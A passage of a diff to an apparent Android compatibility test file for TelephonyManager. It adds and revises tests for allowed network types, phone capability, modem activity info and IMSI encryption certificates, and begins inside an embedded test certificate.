+            + "\njHTuybN8hOu+NKWBaQwxMA0GCSqGSIb3DQEBCwUAA4IBAQAbSrvVrdxRPLnVu6vc"
+            + "\n4BiFT2gWDhZ63EyV4f877sC1iMJRFlfwWQQfHVyhGTFa8JnhbEhhTxCP+L00Q8rX"
+            + "\nKbOw9ei5g2yp7OjStwhHz5T20UejjKkl7hKtMduZXxFToqhVwIpqG58Tzl/35FX4"
+            + "\nu+YDPgwTX5gbpbJxpbncn9voxWGWu3AbHVvzaskfBgZfWAuJnbgq0WTEt7bGOfiI"
+            + "\nelIIQe7XL6beFcdAM9C7DlgOLqpR/31LncrMC46cPA5HmfV4mnpeK/9uq0mMbUJK"
+            + "\nx2vNRWONSm2UGwdb00tLsTloxeqCOMpbkBiqi/RhOlIKIOWMPojukA5+xryh2FVs"
+            + "\n7bdw"
+            + "\n-----END CERTIFICATE-----";
+
     private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
     private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5);
     private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
@@ -215,6 +289,8 @@
     private int mTestSub;
     private TelephonyManagerTest.CarrierConfigReceiver mReceiver;
     private int mRadioVersion;
+    private boolean mIsAllowedNetworkTypeChanged;
+    private Map<Integer, Long> mAllowedNetworkTypesList = new HashMap<>();
 
     private static class CarrierConfigReceiver extends BroadcastReceiver {
         private CountDownLatch mLatch = new CountDownLatch(1);
@@ -263,6 +339,7 @@
         getContext().registerReceiver(mReceiver, filter);
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity("android.permission.READ_PHONE_STATE");
+        saveAllowedNetworkTypesForAllReasons();
     }
 
     @After
@@ -275,6 +352,61 @@
             getContext().unregisterReceiver(mReceiver);
             mReceiver = null;
         }
+        if (mIsAllowedNetworkTypeChanged) {
+            recoverAllowedNetworkType();
+        }
+    }
+
+    private void saveAllowedNetworkTypesForAllReasons() {
+        mIsAllowedNetworkTypeChanged = false;
+        if (mAllowedNetworkTypesList == null) {
+            mAllowedNetworkTypesList = new HashMap<>();
+        }
+        long allowedNetworkTypesUser = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER);
+                }
+        );
+        long allowedNetworkTypesPower = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+                }
+        );
+        long allowedNetworkTypesCarrier = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER);
+                }
+        );
+        long allowedNetworkTypesEnable2g = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G);
+                }
+        );
+        mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER,
+                allowedNetworkTypesUser);
+        mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+                allowedNetworkTypesPower);
+        mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER,
+                allowedNetworkTypesCarrier);
+        mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G,
+                allowedNetworkTypesEnable2g);
+    }
+
+    private void recoverAllowedNetworkType() {
+        if (mAllowedNetworkTypesList == null) {
+            return;
+        }
+        for (Integer key : mAllowedNetworkTypesList.keySet()) {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            key,
+                            mAllowedNetworkTypesList.get(key)));
+        }
     }
 
     private String getCertHash(String pkgName) throws Exception {
@@ -445,7 +577,7 @@
                 };
 
                 synchronized (mLock) {
-                    mLock.notify(); // listener is ready
+                    mLock.notify(); // mListener is ready
                 }
 
                 Looper.loop();
@@ -459,8 +591,8 @@
 
         // Test register
         synchronized (mLock) {
-            // .registerPhoneStateListener generates an onCellLocationChanged event
-            mTelephonyManager.registerPhoneStateListener(mSimpleExecutor, mMockPhoneStateListener);
+            // .listen generates an onCellLocationChanged event
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
             mLock.wait(TOLERANCE);
 
             assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
@@ -479,19 +611,19 @@
         }
 
         // unregister the listener
-        mTelephonyManager.unregisterPhoneStateListener(mMockPhoneStateListener);
+        mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
         Thread.sleep(TOLERANCE);
 
         // Test unregister
         synchronized (mLock) {
-            mOnCellInfoChanged = false;
+            mOnCellLocationChangedCalled = false;
             // unregister again, to make sure doing so does not call the listener
-            mTelephonyManager.unregisterPhoneStateListener(mMockPhoneStateListener);
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
             CellLocation.requestLocationUpdate();
             mLock.wait(TOLERANCE);
 
             assertFalse("Test unregister, mOnCellLocationChangedCalled should be false.",
-                    mOnCellInfoChanged);
+                    mOnCellLocationChangedCalled);
         }
     }
 
@@ -607,6 +739,20 @@
         mTelephonyManager.getDefaultRespondViaMessageApplication();
         ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                 TelephonyManager::getAndUpdateDefaultRespondViaMessageApplication);
+
+        // Verify getImei/getSubscriberId/getIccAuthentication:
+        // With app ops permision USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, should not throw
+        // SecurityException.
+        try {
+            setAppOpsPermissionAllowed(true, OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER);
+
+            mTelephonyManager.getImei();
+            mTelephonyManager.getSubscriberId();
+            mTelephonyManager.getIccAuthentication(
+                    TelephonyManager.APPTYPE_USIM, TelephonyManager.AUTHTYPE_EAP_AKA, "");
+        } finally {
+            setAppOpsPermissionAllowed(false, OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER);
+        }
     }
 
     @Test
@@ -1222,6 +1368,97 @@
     }
 
     @Test
+    public void testGetServiceStateForInactiveSub() {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        int[] allSubs = mSubscriptionManager.getActiveSubscriptionIdList();
+        // generate a subscription that is valid (>0) but inactive (not part of active subId list)
+        // A simple way to do this is sum the active subIds and add 1
+        int inactiveValidSub = 1;
+        for (int sub : allSubs) {
+            inactiveValidSub += sub;
+        }
+
+        assertNull(mTelephonyManager.createForSubscriptionId(inactiveValidSub).getServiceState());
+    }
+
+    private PhoneCapabilityChangedListener mPhoneCapabilityChangedListener;
+
+    private class PhoneCapabilityChangedListener extends PhoneStateListener
+            implements PhoneStateListener.PhoneCapabilityChangedListener {
+        @Override
+        public void onPhoneCapabilityChanged(PhoneCapability capability) {
+            synchronized (mLock) {
+                mPhoneCapability = capability;
+                mOnPhoneCapabilityChanged = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testGetPhoneCapability() throws Throwable {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
+            return;
+        }
+
+        // test without permission: verify SecurityException
+        try {
+            mTelephonyManager.getPhoneCapability();
+            fail("testGetPhoneCapability: SecurityException expected");
+        } catch (SecurityException se) {
+            // expected
+        }
+
+        assertThat(mOnPhoneCapabilityChanged).isFalse();
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mPhoneCapabilityChangedListener = new PhoneCapabilityChangedListener();
+                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                        (tm) -> tm.registerPhoneStateListener(mSimpleExecutor,
+                                mPhoneCapabilityChangedListener));
+                Looper.loop();
+            }
+        });
+        synchronized (mLock) {
+            t.start();
+            mLock.wait(TOLERANCE);
+        }
+
+        // test with permission
+        try {
+            PhoneCapability phoneCapability = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.getPhoneCapability());
+
+            assertEquals(mPhoneCapability, phoneCapability);
+        } catch (SecurityException se) {
+            fail("testGetPhoneCapability: SecurityException not expected");
+        }
+    }
+
+    @Test
+    public void testGetPhoneCapabilityAndVerify() {
+        boolean is5gStandalone = getContext().getResources().getBoolean(
+                com.android.internal.R.bool.config_telephony5gStandalone);
+        boolean is5gNonStandalone = getContext().getResources().getBoolean(
+                com.android.internal.R.bool.config_telephony5gNonStandalone);
+        int deviceNrCapability =
+                (is5gStandalone ? DEVICE_NR_CAPABILITY_SA : DEVICE_NR_CAPABILITY_NONE) | (
+                        is5gNonStandalone ? DEVICE_NR_CAPABILITY_NSA : DEVICE_NR_CAPABILITY_NONE);
+
+        PhoneCapability phoneCapability = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.getPhoneCapability());
+
+        assertEquals(deviceNrCapability, phoneCapability.getDeviceNrCapabilityBitmask());
+    }
+
+    @Test
     public void testGetSimLocale() throws InterruptedException {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             Log.d(TAG,"skipping test that requires Telephony");
@@ -1367,8 +1604,6 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
-        assertEquals(mTelephonyManager.getServiceState().getState(), ServiceState.STATE_IN_SERVICE);
-
         TestThread t = new TestThread(new Runnable() {
             public void run() {
                 Looper.prepare();
@@ -1846,6 +2081,7 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
+        if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_GSM) return;
 
         try {
             ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
@@ -1869,6 +2105,7 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
+        if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_GSM) return;
 
         try {
             ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
@@ -2611,17 +2848,71 @@
             // expected
         }
         // test with permission
+        PublicKey epdgKey = null;
+        PublicKey wlanKey = null;
         try {
-            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                    (tm) -> tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_EPDG));
+            PersistableBundle carrierConfig = mCarrierConfigManager.getConfigForSubId(mTestSub);
+
+            assertNotNull("CarrierConfigManager#getConfigForSubId() returned null",
+                    carrierConfig);
+            assertFalse("CarrierConfigManager#getConfigForSubId() returned empty bundle",
+                    carrierConfig.isEmpty());
+
+            // purge the certs in carrierConfigs first
+            carrierConfig.putInt(
+                    CarrierConfigManager.IMSI_KEY_AVAILABILITY_INT, 3);
+            carrierConfig.putString(
+                    CarrierConfigManager.IMSI_KEY_DOWNLOAD_URL_STRING, BAD_IMSI_CERT_URL);
+            carrierConfig.putString(
+                    CarrierConfigManager.IMSI_CARRIER_PUBLIC_KEY_EPDG_STRING,
+                    IMSI_CERT_STRING_EPDG);
+            carrierConfig.putString(
+                    CarrierConfigManager.IMSI_CARRIER_PUBLIC_KEY_WLAN_STRING,
+                    IMSI_CERT_STRING_WLAN);
+            overrideCarrierConfig(carrierConfig);
+        } catch (Exception e) {
+            fail("Could not override carrier config. e=" + e.toString());
+        }
+
+        try {
+            // It appears that the two certs actually have the same public key. Ideally we would
+            // want these to be different for testing, but it's challenging to create a valid
+            // certificate string for testing and these are the only two examples available
+            InputStream inStream = new ByteArrayInputStream(IMSI_CERT_STRING_WLAN.getBytes());
+            CertificateFactory cf = CertificateFactory.getInstance("X.509");
+            X509Certificate cert = (X509Certificate) cf.generateCertificate(inStream);
+            wlanKey = cert.getPublicKey();
+
+            inStream = new ByteArrayInputStream(IMSI_CERT_STRING_EPDG.getBytes());
+            cert = (X509Certificate) cf.generateCertificate(inStream);
+            epdgKey = cert.getPublicKey();
+        } catch (CertificateException e) {
+            fail("Could not create certs. e=" + e.toString());
+        }
+
+        try {
+            ImsiEncryptionInfo info = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager,
+                    (tm) -> {
+                        return tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_EPDG);
+                    });
+            assertNotNull("Encryption info returned null", info);
+            assertEquals(epdgKey, info.getPublicKey());
+            assertEquals(TelephonyManager.KEY_TYPE_EPDG, info.getKeyType());
         } catch (SecurityException se) {
             fail("testGetCarrierInfoForImsiEncryption: SecurityException not expected");
         } catch (IllegalArgumentException iae) {
             // IllegalArgumentException is okay, just not SecurityException
         }
         try {
-            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                    (tm) -> tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_WLAN));
+            ImsiEncryptionInfo info = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager,
+                    (tm) -> {
+                        return tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_WLAN);
+                    });
+            assertNotNull("Encryption info returned null", info);
+            assertEquals(wlanKey, info.getPublicKey());
+            assertEquals(TelephonyManager.KEY_TYPE_WLAN, info.getKeyType());
         } catch (SecurityException se) {
             fail("testGetCarrierInfoForImsiEncryption: SecurityException not expected");
         } catch (IllegalArgumentException iae) {
@@ -2760,6 +3051,116 @@
     }
 
     @Test
+    public void testSetAllowedNetworkTypesForReason() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        // test without permission: verify SecurityException
+        long allowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR;
+        try {
+            mIsAllowedNetworkTypeChanged = true;
+            mTelephonyManager.setAllowedNetworkTypesForReason(
+                    TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER, allowedNetworkTypes);
+            fail("testSetPolicyDataEnabled: SecurityException expected");
+        } catch (SecurityException se) {
+            // expected
+        }
+
+        // test with permission
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+                            allowedNetworkTypes));
+
+            long deviceAllowedNetworkTypes = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+                    }
+            );
+            assertEquals(allowedNetworkTypes, deviceAllowedNetworkTypes);
+        } catch (SecurityException se) {
+            fail("testSetAllowedNetworkTypes: SecurityException not expected");
+        }
+    }
+
+    @Test
+    public void testSetAllowedNetworkTypesForReason_moreReason() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        // test without permission: verify SecurityException
+        long allowedNetworkTypes1 = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+                | TelephonyManager.NETWORK_TYPE_BITMASK_UMTS;
+        long allowedNetworkTypes2 = TelephonyManager.NETWORK_TYPE_BITMASK_LTE
+                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE_CA;
+        long allowedNetworkTypes3 = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE
+                | TelephonyManager.NETWORK_TYPE_BITMASK_UMTS;
+        long allowedNetworkTypes4 = TelephonyManager.NETWORK_TYPE_LTE
+                | TelephonyManager.NETWORK_TYPE_EVDO_B;
+
+        try {
+            mIsAllowedNetworkTypeChanged = true;
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+                            allowedNetworkTypes1));
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER,
+                            allowedNetworkTypes2));
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER,
+                            allowedNetworkTypes3));
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G,
+                            allowedNetworkTypes4));
+            long deviceAllowedNetworkTypes1 = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+                    }
+            );
+            long deviceAllowedNetworkTypes2 = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER);
+                    }
+            );
+            long deviceAllowedNetworkTypes3 = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER);
+                    }
+            );
+            long deviceAllowedNetworkTypes4 = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G);
+                    }
+            );
+            assertEquals(allowedNetworkTypes1, deviceAllowedNetworkTypes1);
+            assertEquals(allowedNetworkTypes2, deviceAllowedNetworkTypes2);
+            assertEquals(allowedNetworkTypes3, deviceAllowedNetworkTypes3);
+            assertEquals(allowedNetworkTypes4, deviceAllowedNetworkTypes4);
+        } catch (SecurityException se) {
+            fail("testSetAllowedNetworkTypes: SecurityException not expected");
+        }
+    }
+
+    @Test
     public void testIsApplicationOnUicc() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
@@ -2786,6 +3187,40 @@
     }
 
     @Test
+    public void testRequestModemActivityInfo() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
+        try {
+            // Get one instance of activity info and make sure it's valid
+            CompletableFuture<ModemActivityInfo> future1 = new CompletableFuture<>();
+            mTelephonyManager.requestModemActivityInfo(getContext().getMainExecutor(),
+                    future1::complete);
+            ModemActivityInfo activityInfo1 = future1.get(TOLERANCE, TimeUnit.MILLISECONDS);
+            assertNotNull(activityInfo1);
+            assertTrue("first activity info is" + activityInfo1, activityInfo1.isValid());
+
+            // Wait a bit, then get another instance to make sure that some info has accumulated
+            CompletableFuture<ModemActivityInfo> future2 = new CompletableFuture<>();
+            mTelephonyManager.requestModemActivityInfo(getContext().getMainExecutor(),
+                    future2::complete);
+            ModemActivityInfo activityInfo2 = future2.get(TOLERANCE, TimeUnit.MILLISECONDS);
+            assertNotNull(activityInfo2);
+            assertTrue("second activity info is" + activityInfo2, activityInfo2.isValid());
+
+            ModemActivityInfo diff = activityInfo1.getDelta(activityInfo2);
+            assertNotNull(diff);
+            assertTrue("diff is" + diff, diff.isValid() || diff.isEmpty());
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
     public void testGetSupportedModemCount() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
@@ -2895,70 +3330,6 @@
     }
 
     @Test
-    public void testDataDuringVoiceCallPolicy() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        ShellIdentityUtils.ShellPermissionMethodHelper<Boolean, TelephonyManager> getPolicyHelper =
-                (tm) -> tm.isMobileDataPolicyEnabled(
-                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL);
-
-        boolean allowDataDuringVoiceCall = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, getPolicyHelper);
-
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
-                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
-                        !allowDataDuringVoiceCall));
-
-        assertNotEquals(allowDataDuringVoiceCall,
-                ShellIdentityUtils.invokeMethodWithShellPermissions(
-                        mTelephonyManager, getPolicyHelper));
-
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
-                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
-                        allowDataDuringVoiceCall));
-
-        assertEquals(allowDataDuringVoiceCall,
-                ShellIdentityUtils.invokeMethodWithShellPermissions(
-                        mTelephonyManager, getPolicyHelper));
-    }
-
-    @Test
-    public void testAlwaysAllowMmsDataPolicy() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        ShellIdentityUtils.ShellPermissionMethodHelper<Boolean, TelephonyManager> getPolicyHelper =
-                (tm) -> tm.isMobileDataPolicyEnabled(
-                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED);
-
-        boolean mmsAlwaysAllowed = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, getPolicyHelper);
-
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
-                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
-                        !mmsAlwaysAllowed));
-
-        assertNotEquals(mmsAlwaysAllowed,
-                ShellIdentityUtils.invokeMethodWithShellPermissions(
-                        mTelephonyManager, getPolicyHelper));
-
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
-                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
-                        mmsAlwaysAllowed));
-
-        assertEquals(mmsAlwaysAllowed,
-                ShellIdentityUtils.invokeMethodWithShellPermissions(
-                        mTelephonyManager, getPolicyHelper));
-    }
-
-    @Test
     public void testThermalDataEnable() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
@@ -3039,7 +3410,7 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
                         false));
 
-        waitForMs(100);
+        waitForMs(500);
         boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_CARRIER));
@@ -3054,7 +3425,7 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
                         true));
 
-        waitForMs(100);
+        waitForMs(500);
         isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_CARRIER));
@@ -3075,6 +3446,7 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_USER,
                         false));
 
+        waitForMs(500);
         boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_USER));
@@ -3089,6 +3461,7 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_USER,
                         true));
 
+        waitForMs(500);
         isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_USER));
@@ -3099,6 +3472,70 @@
     }
 
     @Test
+    public void testDataDuringVoiceCallPolicy() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ShellIdentityUtils.ShellPermissionMethodHelper<Boolean, TelephonyManager> getPolicyHelper =
+                (tm) -> tm.isMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL);
+
+        boolean allowDataDuringVoiceCall = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, getPolicyHelper);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
+                        !allowDataDuringVoiceCall));
+
+        assertNotEquals(allowDataDuringVoiceCall,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
+                        allowDataDuringVoiceCall));
+
+        assertEquals(allowDataDuringVoiceCall,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+    }
+
+    @Test
+    public void testAlwaysAllowMmsDataPolicy() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ShellIdentityUtils.ShellPermissionMethodHelper<Boolean, TelephonyManager> getPolicyHelper =
+                (tm) -> tm.isMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED);
+
+        boolean mmsAlwaysAllowed = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, getPolicyHelper);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
+                        !mmsAlwaysAllowed));
+
+        assertNotEquals(mmsAlwaysAllowed,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
+                        mmsAlwaysAllowed));
+
+        assertEquals(mmsAlwaysAllowed,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+    }
+
+    @Test
     public void testGetCdmaEnhancedRoamingIndicatorDisplayNumber() {
         int index = mTelephonyManager.getCdmaEnhancedRoamingIndicatorDisplayNumber();
         int phoneType = mTelephonyManager.getPhoneType();
@@ -3253,13 +3690,9 @@
         }
         CarrierBandwidth bandwidth =
                 ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                        (tm) -> tm.getCarrierBandwidth());
+                    (tm) -> tm.getCarrierBandwidth());
         if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
             assertTrue(bandwidth != null);
-            assertTrue(bandwidth.getPrimaryDownlinkCapacityKbps()
-                    != CarrierBandwidth.INVALID);
-            assertTrue(bandwidth.getPrimaryUplinkCapacityKbps()
-                    != CarrierBandwidth.INVALID);
         }
     }
 
@@ -3605,8 +4038,8 @@
                                         .setDataThrottlingAction(DataThrottlingRequest
                                                 .DATA_THROTTLING_ACTION_THROTTLE_SECONDARY_CARRIER)
                                         .setCompletionDurationMillis(arbitraryCompletionWindowSecs)
-                                        .build())
-                                .build()));
+                                .build())
+                        .build()));
         // Only verify the result for supported devices on IRadio 1.6+
         if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
             assertEquals(thermalMitigationResult,
@@ -3669,11 +4102,11 @@
                                     .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
                                             .setDataThrottlingAction(
                                                     DataThrottlingRequest
-                                                            .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
